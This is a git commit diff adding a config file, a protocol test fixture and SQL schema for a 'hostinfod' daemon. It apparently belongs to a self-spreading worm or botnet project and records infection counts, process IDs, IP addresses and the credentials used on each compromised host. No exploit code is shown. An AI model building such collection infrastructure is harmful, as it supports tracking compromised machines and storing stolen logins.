aboutsummaryrefslogtreecommitdiff
path: root/src/data
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2020-10-20 07:28:50 +1030
committerDavid Timber <mieabby@gmail.com>2020-10-20 07:28:50 +1030
commit4c882d7216bb12d5821a108b9f11544a075c7024 (patch)
tree84fba1d9decbab537a2ddb1931ef89f219438274 /src/data
parent5dbfcb1f66b681fbb6cdec8836efe2c2d84f957e (diff)
Impl hostinfod and extras ...
* Use EOVERFLOW instead of E2BIG * Add prne_iobuf_zero() * Fix format check logic error in prne_htbt_ser_msg_head() * Add prne_dup_str() * Add prne_timespec_ms()
Diffstat (limited to 'src/data')
-rw-r--r--src/data/hostinfod.conf21
-rw-r--r--src/data/proto-test/hostinfo_req (renamed from src/data/proto-test/hostinfo)0
-rw-r--r--src/data/proto-test/hostinfo_rsp20
-rw-r--r--src/data/sql/hi-create.sql19
-rw-r--r--src/data/sql/hi-view.sql18
5 files changed, 78 insertions, 0 deletions
diff --git a/src/data/hostinfod.conf b/src/data/hostinfod.conf
new file mode 100644
index 0000000..36c577e
--- /dev/null
+++ b/src/data/hostinfod.conf
@@ -0,0 +1,21 @@
+hostinfod:
+ db:
+ host: "localhost"
+ # port: 3306
+ user: "user"
+ pw: ""
+ db: "prne"
+ # table_prefix: "prne-"
+ ssl:
+ ca: "ca.crt"
+ crt: "hostinfod.crt"
+ key: "hostinfod.key"
+ # key_pw: ""
+ dh: "hostinfod-dh.pem"
+ # max_conn: 0
+ report_int: 60000
+ sck_op_timeout: 5000
+ # nb_thread:
+ # backlog: 10
+ listen_port: 64420
+ # verbose: 2
diff --git a/src/data/proto-test/hostinfo b/src/data/proto-test/hostinfo_req
index abeee61..abeee61 100644
--- a/src/data/proto-test/hostinfo
+++ b/src/data/proto-test/hostinfo_req
diff --git a/src/data/proto-test/hostinfo_rsp b/src/data/proto-test/hostinfo_rsp
new file mode 100644
index 0000000..d2f110c
--- /dev/null
+++ b/src/data/proto-test/hostinfo_rsp
@@ -0,0 +1,20 @@
+# response msg id 0xA00
+0A00
+# PRNE_HTBT_OP_HOST_INFO
+02
+ # prog_ver
+ 11f76b87621a479ca2185c5540337c9f
+ # boot_id
+ 301d2539908542fd90b6200b4a3b0855
+ # instance_id
+ 25dc7ea24ac64a299facbe184233c485
+ ABBABABEFEFFFFFE # parent_uptime
+ DEADBEEFAABBCCDD # child_uptime
+ 8899AABBCCDDEEFF # bne_cnt
+ ABBAABBAABBAABBA # infect_cnt
+ 11223344 # crash_cnt
+ DEADBEEF # parent_pid
+ BABEBABE # child_pid
+ 04 # host_cred_len
+ 00 # arch
+ 54455354 # "TEST"
diff --git a/src/data/sql/hi-create.sql b/src/data/sql/hi-create.sql
new file mode 100644
index 0000000..1887d04
--- /dev/null
+++ b/src/data/sql/hi-create.sql
@@ -0,0 +1,19 @@
+CREATE TABLE `prne-hi` (
+ `instance_id` binary(16) NOT NULL,
+ `inserted` datetime NOT NULL,
+ `updated` datetime NOT NULL,
+ `parent_uptime` bigint(20) unsigned DEFAULT NULL,
+ `child_uptime` bigint(20) unsigned DEFAULT NULL,
+ `bne_cnt` bigint(20) unsigned DEFAULT NULL,
+ `infect_cnt` bigint(20) unsigned DEFAULT NULL,
+ `parent_pid` int(11) unsigned DEFAULT NULL,
+ `child_pid` int(11) unsigned DEFAULT NULL,
+ `prog_ver` binary(16) DEFAULT NULL,
+ `boot_id` binary(16) DEFAULT NULL,
+ `cred_id` varchar(255) DEFAULT NULL,
+ `cred_pw` varchar(255) DEFAULT NULL,
+ `crash_cnt` int(10) unsigned DEFAULT NULL,
+ `arch` varchar(255) DEFAULT NULL,
+ `ipaddr` binary(16) DEFAULT NULL,
+ PRIMARY KEY (`instance_id`)
+) ENGINE=InnoDB DEFAULT CHARSET=utf8;
diff --git a/src/data/sql/hi-view.sql b/src/data/sql/hi-view.sql
new file mode 100644
index 0000000..39886db
--- /dev/null
+++ b/src/data/sql/hi-view.sql
@@ -0,0 +1,18 @@
+SELECT
+ HEX(instance_id),
+ inserted,
+ updated,
+ parent_uptime,
+ child_uptime,
+ bne_cnt,
+ infect_cnt,
+ parent_pid,
+ child_pid,
+ HEX(prog_ver),
+ HEX(boot_id),
+ cred_id,
+ cred_pw,
+ crash_cnt,
+ arch,
+ INET6_NTOA(ipaddr)
+FROM prne.`prne-hi`;